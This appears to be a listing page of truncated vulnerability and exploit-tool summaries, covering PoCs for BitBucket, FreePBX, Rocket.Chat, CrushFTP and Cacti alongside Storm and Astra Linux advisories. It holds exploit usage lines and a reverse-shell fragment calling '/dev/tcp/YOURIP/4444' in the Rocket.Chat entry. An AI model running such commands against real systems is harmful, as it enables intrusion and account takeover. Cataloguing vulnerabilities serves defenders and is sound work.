CVE-2022-36804-PoC

CVE-2022-36804-PoC 대부분의 BitBucket 버전 ://: -e check,rce,ssrf,download,revshell, --exploit check,rce,ssrf,download,revshell...

CVE-2026-84179

Description getTopologyPageInfo merged the Nimbus daemon configuration with the topology's own configuration and returned the result without redaction in the topologyconf field of TopologyPageInfo. The Storm UI copied that value verbatim into the configuration field of GET /api/v1/topology/id and...

EUVD-2026-77524

Description getNimbusConf returned the complete daemon configuration without redaction after only a user-level authorization check. Where the cluster is configured with them, that response includes storm.zookeeper.auth.payload and the keystore and truststore passwords for the Thrift, Netty and...

EUVD-2026-77521

Description When ZooKeeper authentication is configured, Storm deliberately retains storm.zookeeper.topology.auth.payload in the topology configuration, because workers need it. Nimbus then served that configuration verbatim to any caller holding read-only topology permissions, so a user whose on...

EUVD-2026-77482

Description getTopologyPageInfo merged the Nimbus daemon configuration with the topology's own configuration and returned the result without redaction in the topologyconf field of TopologyPageInfo. The Storm UI copied that value verbatim into the configuration field of GET /api/v1/topology/id and...

watchTowr-vs-FreePBX-CVE-2025-57819

CVE-2025-57819 FreePBX 사전 인증 RCE FreePBX 사전 인증 RCE 1day 탐지 아티팩트 생성 도구 실제 탐지 동작 탐지 아티팩트 생성기는 PHP 스크립트를 업로드하려고 시도하며, 업로드가 실패하면 새 사용자를 추가합니다. root@kitploit: $ python3 watchTowr-vs-FreePBX-CVE-2025-57819.py -H http://freepbx.lab.local / | | |\ \ \ / / \ \ / | | | | / \ / / \ \ \ / / | | \ | Y |...

CVE-2023-27524

CVE-2023-27524 Apache Superset 인증 우회 CVE-2023-27524 참조 https://nvd.nist.gov/vuln/detail/CVE-2023-27524 https://github.com/horizon3ai/CVE-2023-27524 https://www.horizon3.ai/cve-2023-27524-insecure-default-configuration-in-apache-superset-leads-to-remote-code-execution/...

CVE-2023-38646

CVE-2023-38646 Metabase 사전 인증 RCE!! 수동 익스플로잇 POC 확인: https://youtu.be/b51LPjD-uTo...

CVE-2021-22911-RocketChat

CVE-2021-22911 — Rocket.Chat 3.12.1 RCE 즉석 설명 Rocket.Chat 3.12.1의 사전 인증pre-auth NoSQL 인젝션 취약점을 악용하여 관리자의 TOTP 비밀키와 비밀번호 재설정 토큰을 유출하고, 관리자 계정을 탈취한 뒤 악성 웹훅 통합을 통해 RCE를 달성합니다. 영향받는 버전 Rocket.Chat & /dev/tcp/YOURIP/4444 0&1' 인자...

CVE-2025-31161

CVE-2025-31161 CVE-2025-31161 / CVE-2025-2825 の概念実証 このPOCは、認証バイパスの脆弱性を悪用して、管理者権限を持つ新しいユーザーアカウントを作成します。 認証バイパスには、CrushFTPサーバー上に存在するユーザーのユーザー名（targetuser）が必要です。デフォルトは crushadmin に設定されています。 使用方法 root@kitploit: usage: cve-2025-31161.py -h --targethost TARGETHOST --port PORT --targetuser TARGETUSER...

CVE-2022-46169

CVE-2022-46169 CVE-2022-46169 Cacti remoteagent.php 인증되지 않은 명령어 주입. 인증 우회 인증을 우회하려면 X-Forwarded-For 헤더를 추가하십시오. 단, 그 값은 고정된 값이 아닙니다. 무차별 대입 Burp Intruder를 사용하여 hostid와 localdataids의 값을 퍼즈 테스트합니다. 원격 코드 실행 RCE 명령어 주입 지점은 pollerid 매개변수입니다...

CVE-2019-11539

CVE-2019-11539 원본 발견: Orange Tsai, Meh Chang 저자: Justin Wagner, Alyssa Herrera 감사 인사: Orange, Meh Chang, Rich Warren, Alyssa, Mimir 취약점 설명 Pulse Secure Pulse Connect Secure 버전 9.0RX 9.0R3.4 미만, 8.3RX 8.3R7.1 미만, 8.2RX 8.2R12.1 미만, 8.1RX 8.1R15.1 미만 및 Pulse Policy Secure 버전 9.0RX 9.0R3.2 미만, 5.4RX...

Astra Linux – Vulnerability in Linux 6.1

In the Linux kernel, the following vulnerability has been resolved: libceph: Defined and enforced the CEPHMAXKEYLEN. When decoding the key, verify that the key material fits into a fixed-size buffer in processauthdone, and that its length is reasonable. The new CEPHMAXKEYLEN check replaces the...

Astra Linux – Vulnerability in freerdp3

FreeRDP is a free implementation of the Remote Desktop Protocol. Prior to version 3.24.2, an unvalidated authlength field read from the network triggered a WINPRASSERT failure in rtsreadauthverifiernochecks, causing any FreeRDP client connecting through a malicious RDP Gateway to crash with...

Astra Linux – Vulnerability in xrdp

xrdp is an open-source RDP server. Versions up to 0.10.5 have a heap-based buffer overflow in the EGFX graphics dynamic virtual channel implementation, due to insufficient validation of client-controlled size parameters. This allows for out-of-bounds writes via crafted PDUs. Pre-authentication...

Astra Linux – Vulnerability in Linux 6.1

In the Linux kernel, the following vulnerability has been resolved: nvmet-auth: Assign dhkey to NULL after kfreesensitive. ctrl-dhkey may be used across multiple calls to nvmetsetupdhgroup for the same controller. Therefore, it’s better to set it to NULL after a error-free release, in order to...

Astra Linux – Vulnerability found in Linux 6.1, Linux 5.15

In the Linux kernel, the following vulnerability has been resolved: In libceph, the error from monhandleauthdone should be returned. Currently, any error from cephauthhandlereplydone is propagated via finishauth, but it is not returned from monhandleauthdone. This results in higher layers...

Astra Linux – Vulnerability found in Linux 6.1, Linux 5.15

In the Linux kernel, the following vulnerability has been resolved: libceph: Potential out-of-bounds writes have been prevented in the handleauthsessionkey function. The len field originates from untrusted network packets. Boundary checks have been added to prevent potential out-of-bounds writes...

Astra Linux – Vulnerability in xrdp

XRDPT is an open-source remote desktop protocol RDP server. In versions prior to 0.9.23, improper handling of session establishment errors allowed bypassing OS-level session restrictions. The authstartsession function could return a non-zero value 1 in the event of, for example, PAM errors. This...

Astra Linux – Vulnerability found in Linux 5.10, Linux 6.1

In the Linux kernel, the following vulnerabilities have been resolved: SUNRPC: The issue with the gssauth kref leak in the gssallocmsg error path has been fixed. Commit 5940d1cf9f42 “SUNRPC: Rebalancing the kref in authgss.c” includes a call to krefget&gssauth-kref to balance the gssputauth...